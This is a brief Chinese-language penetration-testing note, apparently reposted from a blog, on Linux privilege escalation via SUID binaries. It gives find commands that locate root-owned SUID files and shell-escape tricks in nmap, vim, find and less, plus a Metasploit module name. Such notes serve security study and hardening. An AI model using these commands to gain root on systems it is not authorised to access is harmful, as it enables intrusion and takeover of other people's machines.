SUID 是 Set User ID, SGID 是 Set Group ID的意思。 UNIX下可以用ls -l 命令来看到文件的权限。
SUID有个s标志位,即允许其他非root用户用root权限来执行该程序或文件,因此在提权的时候,我们可以查找系统中拥有suid+s标志位的文件来进行修改或者利用其程序来进行提权来达到root权限。
寻找有suid+s权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
Nmap
Vim
find
Bash
More
Less
Nano
cp
老版的nmap(2.02-5.21)有一个交互的功能--interactive
nmap> !sh
sh-3.2# whoami
root
msf中也有相关的模块
exploit/unix/local/setuid_nmap
vim可以用:!后面加命令来执行shell指令,也可以直接调用shell,并且拥有+s权限可以读取系统中任意文件
vim/vi
:shell
find 同理,将会以root来执行find命令
find test -exec whoami \;
less/more
sudo less filename
!sh
原文:https://www.cnblogs.com/w0x68y/p/12167807.html